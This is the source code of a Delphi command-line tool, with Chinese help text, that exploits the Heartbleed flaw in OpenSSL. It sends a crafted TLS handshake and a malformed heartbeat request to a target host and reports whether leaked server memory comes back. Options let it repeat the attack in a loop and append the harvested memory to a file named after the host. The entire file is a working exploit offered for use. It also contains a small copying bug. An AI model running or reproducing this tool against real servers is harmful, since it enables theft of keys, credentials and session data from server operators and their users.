program OpenSSL;
{$APPTYPE CONSOLE}
uses
Windows, WinSock, Unit_Hash;
Const
HexPoc :Array [0..224] Of Byte =(
$16, $03, $02, $00, $DC, $01, $00, $00, $D8, $03, $02, $53, $43, $5B, $90, $9D, $9B, $72, $0B, $BC, $0C, $BC, $2B, $92, $A8, $48, $97,
$CF, $BD, $39, $04, $CC, $16, $0A, $85, $03, $90, $9F, $77, $04, $33, $D4, $DE, $00, $00, $66, $C0, $14, $C0, $0A, $C0, $22, $C0, $21,
$00, $39, $00, $38, $00, $88, $00, $87, $C0, $0F, $C0, $05, $00, $35, $00, $84, $C0, $12, $C0, $08, $C0, $1C, $C0, $1B, $00, $16, $00,
$13, $C0, $0D, $C0, $03, $00, $0A, $C0, $13, $C0, $09, $C0, $1F, $C0, $1E, $00, $33, $00, $32, $00, $9A, $00, $99, $00, $45, $00, $44,
$C0, $0E, $C0, $04, $00, $2F, $00, $96, $00, $41, $C0, $11, $C0, $07, $C0, $0C, $C0, $02, $00, $05, $00, $04, $00, $15, $00, $12, $00,
$09, $00, $14, $00, $11, $00, $08, $00, $06, $00, $03, $00, $FF, $01, $00, $00, $49, $00, $0B, $00, $04, $03, $00, $01, $02, $00, $0A,
$00, $34, $00, $32, $00, $0E, $00, $0D, $00, $19, $00, $0B, $00, $0C, $00, $18, $00, $09, $00, $0A, $00, $16, $00, $17, $00, $08, $00,
$06, $00, $07, $00, $14, $00, $15, $00, $04, $00, $05, $00, $12, $00, $13, $00, $01, $00, $02, $00, $03, $00, $0F, $00, $10, $00, $11,
$00, $23, $00, $00, $00, $0F, $00, $01, $01);
HexPoc2 :Array [0..7] Of Byte = ($18, $03, $02, $00, $03, $01, $FF, $FF);
Type
LongRec = Packed Record
case Integer of
0: (Lo, Hi: Word);
1: (Words: array [0..1] of Word);
2: (Bytes: array [0..3] of Byte);
end;
TRet = Packed Record
bType :Byte;
bVer :LongRec;
bBuf :PByte;
dwLen :DWORD;
End;
Function StrStrA(lpFirst, lpSrch: PAnsiChar): PAnsiChar; stdcall; external 'shlwapi.dll' name 'StrStrA';
Function StrStrIA(lpFirst, lpSrch: PAnsiChar): PAnsiChar; stdcall; external 'shlwapi.dll' name 'StrStrIA';
Function StrNCatA(lpFirst, lpSrch: PAnsiChar; cchMax: Integer): PAnsiChar; stdcall; external 'shlwapi.dll' name 'StrNCatA';
Function StrToIntA(lpSrc:PAnsiChar):Integer; stdcall; external 'shlwapi.dll' name 'StrToIntA';
Function FormatA(Output: PAnsiChar; Format: PAnsiChar): Integer; cdecl varargs; external 'user32.dll' name 'wsprintfA';
Function GetFileSizeEx(hFile: THandle; out lpFileSize): LongBool; stdcall; external kernel32 name 'GetFileSizeEx';
function ResolveAddress(lpszHost: PAnsiChar): Integer;
var
HostEnt: PHostEnt;
begin
Result := inet_addr(lpszHost);
if (Result = SOCKET_ERROR) then
begin
HostEnt := gethostbyname(lpszHost);
if (HostEnt <> nil) then
begin
Result := Longint(PLongint(HostEnt^.h_addr_list^)^);
end;
end;
end;
function ConnectAddress(hSocket: TSocket; lpszHost: PAnsiChar; dwPort: DWORD; nTimeOut: DWORD): Boolean;
var
SockAddrIn: TSockAddrIn;
iBf, iResult: Integer;
WriteDset, ExceptDset: TFDset;
TimeVal: TTimeVal;
begin
Result := False;
SockAddrIn.sin_family := AF_INET;
SockAddrIn.sin_port := htons(dwPort);
SockAddrIn.sin_addr.s_addr := ResolveAddress(lpszHost);
if (SockAddrIn.sin_addr.s_addr = SOCKET_ERROR) then Exit;
iBf := 1;
ioctlsocket(hSocket, FIONBIO, iBf);
TimeVal.tv_sec := nTimeOut;
TimeVal.tv_usec := 0;
WriteDset.fd_count := 1;
WriteDset.fd_array[0] := hSocket;
ExceptDset.fd_count := 1;
ExceptDset.fd_array[0] := hSocket;
connect(hSocket, SockAddrIn, SizeOf(SockAddrIn));
iResult := select(0, nil, @WriteDset, @ExceptDset, @TimeVal);
if ((iResult = 0) or (iResult = SOCKET_ERROR)) then Exit;
iBf := 0;
ioctlsocket(hSocket, FIONBIO, iBf);
if (ExceptDset.fd_count = 1) then Exit;
Result := True;
end;
function GetRecvLength(hSocket: TSocket): Integer; stdcall;
begin
if (ioctlsocket(hSocket, FIONREAD, Longint(Result)) = SOCKET_ERROR) then
begin
Result := SOCKET_ERROR;
end;
end;
procedure SetSocketIoOutTime(hSocket: TSocket; iSendTime, iRecvTime: Integer); stdcall;
begin
iSendTime := iSendTime * 1000;
iRecvTime := iRecvTime * 1000;
setsockopt(hSocket, SOL_SOCKET, SO_SNDTIMEO, PAnsiChar(@iSendTime), SizeOf(Integer));
setsockopt(hSocket, SOL_SOCKET, SO_RCVTIMEO, PAnsiChar(@iRecvTime), SizeOf(Integer));
end;
// 设置发送接收缓冲区大小
procedure SetSocketIOBuffSize(hSocket: TSocket; dwRecvSize, dwSendSize: DWORD); stdcall;
begin
setsockopt(hSocket, SOL_SOCKET, SO_SNDBUF, PAnsiChar(@dwRecvSize), SizeOf(DWORD));
setsockopt(hSocket, SOL_SOCKET, SO_RCVBUF, PAnsiChar(@dwSendSize), SizeOf(DWORD));
end;
function FileAge(const FileName: string): Integer;
var
Handle: THandle;
FindData: TWin32FindData;
LocalFileTime: TFileTime;
begin
Handle := FindFirstFile(PChar(FileName), FindData);
if Handle <> INVALID_HANDLE_VALUE then
begin
Windows.FindClose(Handle);
if (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
begin
FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
if FileTimeToDosDateTime(LocalFileTime, LongRec(Result).Hi, LongRec(Result).Lo) then Exit;
end;
end;
Result := -1;
end;
function FileExists(const FileName: string): Boolean;
begin
Result := FileAge(FileName) <> -1;
end;
Procedure WriteTxt(FileName:String; Buffer:PByte; dwSize:DWORD);
Var
nHandle :THandle;
dwByte :DWORD;
nSize :Int64;
begin
Writeln('追加保存数据.');
nHandle := CreateFileA(PAnsiChar(AnsiString(FileName)), GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ, Nil, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
If nHandle <> DWORD(-1) Then
begin
if GetFileSizeEx(nHandle, nSize) then
begin
SetFilePointerEx(nHandle, nSize, Nil, FILE_BEGIN);
end;
WriteFile(nHandle, Buffer^, dwSize, dwByte, nil);
CloseHandle(nHandle);
end;
end;
Function RecvMsg(hSocket:TSocket):TRet;
Var
Buffer :Array [0..64] of Byte;
dwLen :DWORD;
dwInc :DWORD;
nRet :Integer;
begin
ZeroMemory(@Buffer, SizeOf(Buffer));
if recv(hSocket, Buffer, 5, 0) = 5 then
begin
ZeroMemory(@Result, SizeOf(TRet));
Result.bType := Buffer[0];
Result.bVer.Hi:= Word(Buffer[1]);
Result.bVer.Lo:= Word(Buffer[2]);
if Buffer[3] = 0 then
dwLen := PDWORD(@Buffer[4])^
Else dwLen := Buffer[3] shl 8 + Buffer[4];
if dwLen > 0 then
begin
Result.bBuf := GetMemory(dwLen);
dwInc := 0;
while dwInc <> dwLen do
begin
nRet := recv(hSocket, Result.bBuf[dwInc], dwLen - dwInc, 0);
Inc(dwInc, nRet);
if nRet <= 0 then Break;
end;
Result.dwLen := dwLen;
end Else Result.dwLen := 0;
end;
end;
Label OnHelp, OnLoop, OnExit;
Var
szHost :String;
wPort :Word;
bLoop :Boolean;
bSave :Boolean;
hSocket :TSocket;
Buffer :Array [0..8192] Of Byte;
WSAData :TWSAData;
szTime :PAnsiChar;
SysTime :TSystemTime;
wSleep :DWORD;
dwHash :DWORD;
lpHash :DWORD;
bInc :Integer;
CheckMsg:TRet;
begin
if(WSAStartup(MAKEWORD(2,0), WSAData) <> 0) then
begin
Writeln('Windows Socket 初始化失败!~');
Exit;
end;
if ParamCount < 1 then
begin
OnHelp:
Writeln('所有参数 -h -p -w -s -d -help');
Writeln('-h 指定目标地址');
Writeln('-p 指定端口不指定则使用默认443端口');
Writeln('-w 循环执行');
Writeln('-s 追加保存获取到的数据到[host].txt');
Writeln('-d 指定每次获取后休眠间隔单位秒');
Writeln('-help 帮助 (#‵′)凸');
Writeln('注意所有参数均为小写/半角');
Writeln('By: 孤独小坏 http://www.7xcode.com/ ver: 0.0.3');
Exit;
end;
wSleep := 100;
wPort := 443;
bSave := False;
bLoop := False;
szHost := '';
dwHash := 0;
bInc := 1;
while bInc <= ParamCount do
begin
If ParamStr(bInc) = '-h' Then
begin
Inc(bInc);
szHost:= ParamStr(bInc);
end Else If ParamStr(bInc) = '-p' Then
begin
Inc(bInc);
wPort := StrToIntA(PAnsiChar(AnsiString(ParamStr(bInc))));
end Else If ParamStr(bInc) = '-w' Then
bLoop := True
Else If ParamStr(bInc) = '-s' Then
bSave := True
Else If ParamStr(bInc) = '-d' Then
begin
Inc(bInc);
wSleep:= StrToIntA(PAnsiChar(AnsiString(ParamStr(bInc)))) * 1000;
end Else If (ParamStr(bInc) = '-help') Or (ParamStr(bInc) = '-?') Or (ParamStr(bInc) = '?') Or (ParamStr(bInc) = '/?') Then
begin
Goto OnHelp;
end Else
begin
if True then
begin
szHost := ParamStr(bInc);
end Else
begin
Writeln('指令: [' + ParamStr(bInc) + '] 无法识别!~');
Exit;
end;
end;
Inc(bInc);
end;
If Length(szHost) < 3 Then
begin
Writeln('请输入正确的host.');
Exit;
end;
szTime := GetMemory(255);
OnLoop:
GetLocalTime(SysTime);
FormatA(szTime, '%d:%d:%d 目标: [%s]', SysTime.wHour, SysTime.wMinute, SysTime.wSecond, PAnsiChar(AnsiString(szHost)));
Writeln(szTime);
hSocket := socket(AF_INET, SOCK_STREAM, 0);
if ConnectAddress(hSocket, PAnsiChar(AnsiString(szHost)), wPort, 6) then
begin
SetSocketIOBuffSize(hSocket, 8192, 4096);
SetSocketIoOutTime(hSocket, 10, 5);
ZeroMemory(@Buffer, 8192);
CopyMemory(@Buffer, @HexPoc, 225);
Writeln('SSL握手中.');
if send(hSocket, Buffer, 225, 0) > 0 then
begin
while True Do
begin
CheckMsg := RecvMsg(hSocket);
if (CheckMsg.dwLen = 0) Or (CheckMsg.bBuf = Nil) then
begin
Writeln('服务器关闭连接,不再发送Poc包.');
closesocket(hSocket);
Goto OnExit;
end;
if (CheckMsg.bType = 22) then
begin
If (CheckMsg.dwLen > 0) And (CheckMsg.bBuf[0] = $0E) Then
begin
FreeMemory(CheckMsg.bBuf);
Break;
end;
end;
If CheckMsg.dwLen > 0 Then FreeMemory(CheckMsg.bBuf);
end;
ZeroMemory(@Buffer, 8192);
CopyMemory(@Buffer, @HexPoc2, 225);
if send(hSocket, Buffer, 8, 0) > 0 then
begin
if send(hSocket, Buffer, 8, 0) > 0 then
begin
begin
CheckMsg := RecvMsg(hSocket);
if (CheckMsg.dwLen = 0) Or (CheckMsg.bBuf = Nil) then
begin
Writeln('没有心跳应答收到, 网络环境可能比较差.');
closesocket(hSocket);
Goto OnExit;
end;
lpHash := MurmurHash3_32(CheckMsg.bBuf, CheckMsg.dwLen, 0);
if CheckMsg.bType = 24 Then
begin
Writeln('收到心跳回复');
if CheckMsg.dwLen > 3 then
begin
If bSave Then
begin
If lpHash <> dwHash Then
begin
WriteTxt(szHost + '.Txt', CheckMsg.bBuf, CheckMsg.dwLen);
end Else Writeln('数据获取成功,Hash与上一包相同丢弃.');
end;
Writeln('服务器返回了额外的内存数据, 服务器是存在漏洞的.');
end Else Writeln('服务器处理了畸形心跳,但是没有返回任何额外的数据.');
end;
if CheckMsg.bType = 21 Then
begin
Writeln('收到警告.');
Writeln('服务器返回错误, 网络环境可能比较差.');
end;
end;
end;
end;
End;
shutdown(hSocket, SD_BOTH);
end Else Writeln('连接失败或超时....');
closesocket(hSocket);
Sleep(wSleep);
Writeln('');
If bLoop Then Goto OnLoop;
OnExit:
FreeMemory(szTime);
end.